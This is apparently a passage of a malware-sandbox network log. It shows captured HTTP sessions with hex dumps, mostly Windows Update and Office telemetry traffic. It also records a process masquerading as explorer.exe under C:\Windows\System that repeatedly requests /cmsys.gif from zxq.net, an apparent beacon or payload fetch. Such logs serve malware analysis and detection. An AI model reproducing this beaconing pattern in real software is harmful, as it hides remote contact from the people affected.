2024-10-10 08:13:15 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-10 08:13:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 841b82d4-6645-4a9f-977e-f73e30092431 MS-RequestId: 4f5af665-4820-4332-a244-f084afdbc536 MS-CV: m2olgKxwNUq59tYI.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 08:13:15 GMT Connection: close Content-Length: 30005
2024-10-10 08:13:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-10 08:13:15 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	64580	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:24 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:24 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:24 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	64585	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:32 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:13:33 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:13:33 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	64584	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:33 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:33 UTC	561	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:33 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 09 Oct 2024 03:56:29 GMT ETag: "0x8DCE8165B436280" x-ms-request-id: b415ce4c-a01e-0053-0c33-1a8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081333Z-r154656d9bckpfgl7fe14swubc0000000ktg000000008xy3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:33 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-10 08:13:33 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	64588	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 38350f62-a01e-0021-1402-1a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-1597f696844qj6xbvd61uutbps00000001f000000000hc6w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:34 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	64590	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 4b0a31e7-c01e-00ad-448c-15a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-r154656d9bcbnsv5vrs89mh8t400000000hg00000000702h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	64587	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:34 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:34 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 792f98e0-601e-0070-6c4b-1aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081334Z-1597f696844lq27kahy39f1g9800000000e0000000007vut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:34 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	64589	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
